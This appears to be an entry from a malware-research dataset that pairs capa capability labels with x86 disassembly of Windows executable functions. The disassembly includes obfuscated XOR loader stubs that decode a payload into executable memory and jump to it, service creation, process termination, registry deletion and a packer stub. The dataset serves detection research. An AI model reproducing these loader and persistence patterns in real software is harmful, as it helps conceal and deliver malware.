joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d38c
Capabilities:
Delete registry key

Disassembly:
push ebx
add esp, 0xfffffff4
mov ebx, eax
push esp
push 0xf003f
push 0
push 0x40d418
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push 0x40d444
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push 0x40d44c
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
push ebx
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegDeleteKeyA
push ebx
mov eax, dword [esp + 0xc]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0xc
pop ebx
ret

Function at 0x40d454
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
cmp byte [0x490d04], 2
je 0x40d46e
mov eax, dword [0x492c7c]
call fcn.00403df0
call fcn.0040d34c
mov eax, dword [0x492c7c]
call fcn.00403df0
call fcn.0040d38c
xor ebx, ebx
mov eax, dword [0x492c78]
call fcn.0040abac
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40d4a7
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push esi
call sub.kernel32.dll_TerminateProcess
cmp ebx, 0xffffffff
jne 0x40d47f
push 2
call fcn.0040ab18
pop esi
pop ebx
ret
Function at 0x40d514
Capabilities:
Create service
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40d65a
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [0x492c7c]
call fcn.00403df0
mov esi, eax
mov eax, dword [0x492c80]
call fcn.00403df0
mov edi, eax
mov eax, dword [0x492c84]
call fcn.00403df0
mov dword [ebp - 0xc], eax
lea edx, [ebp - 4]
xor eax, eax
call fcn.004027c0
cmp byte [0x490d04], 1
je 0x40d59d
call fcn.00402760
test eax, eax
jle 0x40d59d
push dword [ebp - 4]
push 0x40d674
lea edx, [ebp - 0x1c]
mov eax, 1
call fcn.004027c0
push dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403cb0
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x18], 2
mov eax, esi
call fcn.0040d2e0
call fcn.0040d18c
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
je 0x40d63c
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403df0
push eax
push 0
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
push 0xf01ff
push edi
push esi
push ebx
call sub.advapi32.dll_CreateServiceA
mov esi, eax
xor eax, eax
mov dword [ebp - 0x10], eax
test esi, esi
je 0x40d636
lea eax, [ebp - 0xc]
push eax
push 1
push esi
call fcn.0040d4b8
cmp byte [0x490d04], 1
je 0x40d62c
lea eax, [ebp - 0x10]
push eax
push 0
push esi
call sub.advapi32.dll_StartServiceA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
jmp 0x40d630
mov byte [ebp - 5], 1
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d661
lea eax, [ebp - 0x1c]
call fcn.00403a6c
lea eax, [ebp - 4]
call fcn.00403a6c
ret

Function at 0x40d78c
Capabilities:
Acquire debug privileges

Disassembly:
mov eax, 0x40d798
call fcn.0040d704
ret

Function at 0x40d908
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xffffffec
mov ebx, eax
mov eax, dword [0x40d95c]
mov dword [esp + 4], eax
mov byte [esp + 8], 0xff
call fcn.0040d7d0
mov dword [esp + 9], eax
test bl, bl
je 0x40d933
mov dword [esp + 0xd], 0xfe
jmp 0x40d93b
mov dword [esp + 0xd], 0xff
push 0
lea eax, [esp + 4]
push eax
push 0xd
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x490ac4]
push eax
call sub.kernel32.dll_WriteFile_1
add esp, 0x14
pop ebx
ret
Function at 0x40d960
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd98
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x258], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40db7a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x114]
mov edx, 0x104
xor ecx, ecx
call fcn.00402c08
push 0x104
lea eax, [ebp - 0x114]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.00403bd8
mov eax, dword [ebp - 4]
call fcn.00403bf0
test eax, eax
je 0x40db4f
lea eax, [ebp - 4]
call fcn.00405590
lea eax, [ebp - 8]
mov ecx, 0x40db90
mov edx, dword [ebp - 4]
call fcn.00403c3c
lea eax, [ebp - 4]
mov edx, 0x40dba4
call fcn.00403bf8
lea eax, [ebp - 0x254]
push eax
mov eax, dword [ebp - 4]
call fcn.00403df0
push eax
call sub.kernel32.dll_FindFirstFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x40db4f
mov ebx, 0x410678
jmp 0x40db2b
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x228]
mov ecx, 0x104
call fcn.00403bd8
mov esi, ebx
lea eax, [ebp - 0x258]
mov edx, esi
call fcn.00403b9c
mov eax, dword [ebp - 0x258]
call fcn.00403bf0
inc eax
add ebx, eax
lea eax, [ebp - 0x25c]
mov edx, esi
call fcn.00403b9c
mov eax, dword [ebp - 0x25c]
lea edx, [ebp - 0x10]
call fcn.00404f30
mov dl, 0x2a
mov eax, dword [ebp - 0x10]
call fcn.00405514
test al, al
je 0x40dab0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403bf0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00403e48
lea eax, [ebp - 0x264]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403bf0
mov ecx, eax
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00403e48
mov eax, dword [ebp - 0x264]
lea edx, [ebp - 0x260]
call fcn.00404f30
mov edx, dword [ebp - 0x260]
lea eax, [ebp - 0xc]
call fcn.00403b04
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00403d3c
jne 0x40db2b
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x228]
mov ecx, 0x104
call fcn.00403bd8
mov ecx, dword [ebp - 0x268]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403c3c
mov eax, dword [ebp - 0xc]
call fcn.0040526c
jmp 0x40db34
cmp byte [ebx], 0
jne 0x40da3b
lea eax, [ebp - 0x254]
push eax
push edi
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40da31
push edi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40db81
lea eax, [ebp - 0x268]
mov edx, 5
call fcn.00403a90
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403a90
ret
Function at 0x40e878
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xffffffec
mov ebx, edx
mov edx, dword [0x40e8e4]
mov dword [esp + 4], edx
mov byte [esp + 8], al
call fcn.0040d7d0
mov dword [esp + 9], eax
mov dword [esp + 0xd], ebx
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
mov eax, dword [0x492c94]
call fcn.00403df0
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40e8dc
push 0
lea eax, [esp + 4]
push eax
push 0xd
lea eax, [esp + 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
add esp, 0x14
pop ebx
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401443
pop dword [ebp - 0xc]
mov eax, 0x26e911be
sub eax, 0x26a8fd7b
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x5ce673fe
sub dword [ebp - 0x1c], 0xe942eb3
mov dword [ebp - 0x18], 0x720c21b8
add dword [ebp - 0x18], 0xc0272a8d
mov dword [ebp - 0x14], 0x6972e962
sub dword [ebp - 0x14], 0x1d26a534
mov dword [ebp - 0x10], 0x5cd7e9fc
add dword [ebp - 0x10], 0xa3281604
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xe8a8296b
sub eax, 0xe867a867
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x93a4690f
sub dword [ebp - 0x1c], 0x1f31ffb9
mov dword [ebp - 0x18], 0xd759c4e7
sub dword [ebp - 0x18], 0x95ed6372
mov dword [ebp - 0x14], 0xa63c3ba8
add dword [ebp - 0x14], 0xbd3330c4
mov dword [ebp - 0x10], 0x28b0a65a
add dword [ebp - 0x10], 0xd74f59a6
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x35fbe
push 0
call eax
mov ecx, 0x3ec6
mov esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0xc]
mov edx, 0xb560a534
add edx, 0x7a54f217
sub dword [ebp - 8], 0xde8bb44
mov ebx, dword [edi]
add dword [ebp - 4], ebx
xor ebx, edx
sub dword [ebp - 4], 0xfe0db8b9
mov dword [esi], ebx
xor dword [ebp - 4], ecx
add esi, 0xa5dc4e0
add esi, 0xf5a23b24
add edi, 0xfd7aa87b
sub edi, 0xfd7aa877
loop 0x401554
add eax, 0xbbb7d9b9
add eax, 0x44491432
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x10030c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10030c9f
pop dword [ebp - 0x10]
mov eax, 0x10030c9f
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xf1a9de44
sub dword [ebp - 0x20], 0xa35798f9
mov dword [ebp - 0x1c], 0x4ce1a2ed
sub dword [ebp - 0x1c], 0x1aae56a8
mov dword [ebp - 0x18], 0x867b997c
sub dword [ebp - 0x18], 0x3a2f554e
mov dword [ebp - 0x14], 0x4c9bf0d0
sub dword [ebp - 0x14], 0x4c9bf0d0
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x53921fcf
add dword [ebp - 0x20], 0x20e04987
mov dword [ebp - 0x1c], 0x34184648
add dword [ebp - 0x1c], 0xd541b2d
mov dword [ebp - 0x18], 0x4aad34a0
add dword [ebp - 0x18], 0x18c237cc
mov dword [ebp - 0x14], 0xc2969e2e
add dword [ebp - 0x14], 0x3d6961d2
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x77dde860
sub eax, 0x67da4800
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3972d
push 0
call eax
mov ecx, 0x3cc6db1c
add ecx, 0xc3396e45
mov ebx, eax
mov esi, 0x1006f600
add esi, dword [ebp - 0x10]
mov edx, 0x9c290555
sub edx, 0x6b70785d
add dword [ebp - 8], eax
mov edi, dword [esi]
xor dword [ebp - 8], edx
add edi, edx
add dword [ebp - 0xc], 0x3eb81cf5
mov dword [ebx], edi
sub dword [ebp - 0xc], esi
add ebx, 4
add esi, 4
loop 0x10030db1
add eax, 0x5878bbd2
sub eax, 0x5877a37b
xor ebx, ebx
add ebx, eax
add eax, 0xa5cc402e
sub eax, 0xa5cc4029
mov ecx, 0x10000000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x40324c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40325b
pop dword [ebp - 0x3c]
mov eax, 0x1b1ec494
sub eax, 0x1ade9239
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xdb6289d4
sub dword [ebp - 0x4c], 0x8d104489
mov dword [ebp - 0x48], 0x6652beef
add dword [ebp - 0x48], 0xcbe08d56
mov dword [ebp - 0x44], 0xb6e16dd7
add dword [ebp - 0x44], 0x956ad657
mov dword [ebp - 0x40], 0x503b9baf
add dword [ebp - 0x40], 0xafc46451
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x237e4de6
add eax, 0xdcc23292
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xe6ea5294
add dword [ebp - 0x4c], 0x8d8816c2
mov dword [ebp - 0x48], 0x53c082aa
sub dword [ebp - 0x48], 0x12542135
mov dword [ebp - 0x44], 0xfaec5712
add dword [ebp - 0x44], 0x6883155a
mov dword [ebp - 0x40], 0x8bf503f1
sub dword [ebp - 0x40], 0x8bf503f1
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x36de8
push 0
call eax
mov ecx, 0x63667db1
add ecx, 0x9c99c9a9
mov edx, eax
mov ebx, 0x377fe19b
sub ebx, 0x373acd9b
add ebx, dword [ebp - 0x3c]
mov edi, 0xa6e8510e
xor dword [ebp - 0x38], 0xfcae79ae
mov esi, dword [ebx]
xor dword [ebp - 8], 0x12165886
add esi, edi
sub dword [ebp - 0x30], 0xb23d1109
mov dword [edx], esi
xor dword [ebp - 0x20], edi
add edx, 0xb511ae50
sub edx, 0xb511ae4c
add ebx, 0xb3152267
add ebx, 0x4ceadd9d
loop 0x403372
add eax, 0x94b3ae95
sub eax, 0x94b29e5a
xor ebx, ebx
add ebx, eax
add eax, 0xf19aad46
add eax, 0xe6552bf
mov ecx, 0xd8ff5938
sub ecx, 0xd8bf5938
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x419d30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x410015
lea edi, [esi - 0xf015]
push edi
or ebp, 0xffffffff
jmp 0x419d52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419d59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419d48
mov eax, 1
add ebx, ebx
jne 0x419d6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419d60
jne 0x419d7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419d60
xor ecx, ecx
sub eax, 3
jb 0x419d90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419e02
mov ebp, eax
add ebx, ebx
jne 0x419d9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419da8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419dcc
inc ecx
add ebx, ebx
jne 0x419db8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419dad
jne 0x419dc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419dad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x419dec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x419ddd
jmp 0x419d4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x419dec
add edi, ecx
jmp 0x419d4e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x419e0a
cmp byte [edi], 5
jne 0x419e0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x419e0f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419e87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x419e3c
mov ecx, edi
jns 0x419e6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x419e81
mov dword [ebx], eax
add ebx, 4
jmp 0x419e59
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419ebb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x414dd4
Capabilities:
Encode data using xor

Disassembly:
xor dword [ebx], edi
add esi, 0xfe54bb92
add esi, 0x944fad1d
add ebx, 4
mov eax, 0xc61842b7
cmp ebx, edx
jne fcn.00414dd4
inc ecx
add esi, 0xadf9c9a0
ret
Function at 0x10001822
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000182c
repz ret
jmp fcn.10001bc2

Function at 0x1000187f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000188e
pop dword [ebp - 0xc]
mov eax, 0x1000188e
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xfd05d574
sub dword [ebp - 0x1c], 0xaeb39029
mov dword [ebp - 0x18], 0xae096d12
sub dword [ebp - 0x18], 0x7bd620cd
mov dword [ebp - 0x14], 0xe91fafb5
sub dword [ebp - 0x14], 0x9cd36b87
mov dword [ebp - 0x10], 0x11c62d20
add dword [ebp - 0x10], 0xee39d2e0
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x9cb8837f
add eax, 0x7347acc9
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x5d7a8eaa
sub dword [ebp - 0x1c], 0xe9082554
mov dword [ebp - 0x18], 0xc4913b24
add dword [ebp - 0x18], 0x7cdb2651
mov dword [ebp - 0x14], 0x9e7071c9
add dword [ebp - 0x14], 0xc4fefaa3
mov dword [ebp - 0x10], 0x682a2a38
sub dword [ebp - 0x10], 0x682a2a38
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xf429a75a
sub eax, 0xe429775a
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3447f
push 0
call eax
mov ecx, 0x3f0d
mov esi, eax
mov edx, 0x47a5da07
sub edx, 0x37a57807
add edx, dword [ebp - 0xc]
mov ebx, 0x8ea43298
sub ebx, 0xb7f1133d
mov edi, dword [edx]
xor dword [ebp - 8], 0xe1c10637
xor edi, ebx
sub dword [ebp - 8], 0x2106c975
mov dword [esi], edi
xor dword [ebp - 8], ecx
add esi, 0xd93d726c
add esi, 0x26c28d98
add edx, 4
loop 0x100019a5
add eax, 0xef07
xor ebx, ebx
add ebx, eax
add eax, 0x5b5ee741
add eax, 0xa4a118c4
mov ecx, 0x6e06d5ab
add ecx, 0xa1f92a55
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401007
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x466708]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x46670c]
push edi
mov edi, dword [ebx]
xor edx, edx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], edx
mov dword [ebp - 0x34], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x466710]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], eax
mov eax, dword [0x466714]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, edi
shl eax, 4
cmp dword [0x475954], 0xc
mov dword [ebp - 4], eax
jne 0x401085
push edx
lea eax, [ebp - 0x38]
push eax
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor edx, edx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x475954]
cmp eax, 0xfa9
jne 0x4010a1
mov dword [0x475950], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c2
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AreAllAccessesGranted]
and dword [0x4758a8], 0
xor edx, edx
mov eax, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [0x47594c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x401059
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x408cfd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x466030]
jne 0x408d07
repz ret
jmp fcn.0040cf92

Function at 0x40a10d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004055a8
and dword [ebp - 4], 0
cmp dword [0x46a944], 0
mov ebx, eax
jne 0x40a1be
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a26f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a26f
push eax
call fcn.00405536
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x46a944], eax
call esi
push eax
call fcn.00405536
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x46a948], eax
call esi
push eax
call fcn.00405536
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x46a94c], eax
call esi
push eax
call fcn.00405536
pop ecx
mov dword [0x46a954], eax
test eax, eax
je 0x40a1be
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405536
pop ecx
mov dword [0x46a950], eax
mov eax, dword [0x46a950]
cmp eax, ebx
je 0x40a216
cmp dword [0x46a954], ebx
je 0x40a216
push eax
call fcn.004055b1
push dword [0x46a954]
mov esi, eax
call fcn.004055b1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a216
test edi, edi
je 0x40a216
call esi
test eax, eax
je 0x40a20d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a20d
test byte [ebp - 0xc], 1
jne 0x40a216
or dword [ebp + 0x10], 0x200000
jmp 0x40a24f
mov eax, dword [0x46a948]
cmp eax, ebx
je 0x40a24f
push eax
call fcn.004055b1
pop ecx
test eax, eax
je 0x40a24f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a24f
mov eax, dword [0x46a94c]
cmp eax, ebx
je 0x40a24f
push eax
call fcn.004055b1
pop ecx
test eax, eax
je 0x40a24f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46a944]
call fcn.004055b1
pop ecx
test eax, eax
je 0x40a26f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a271
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret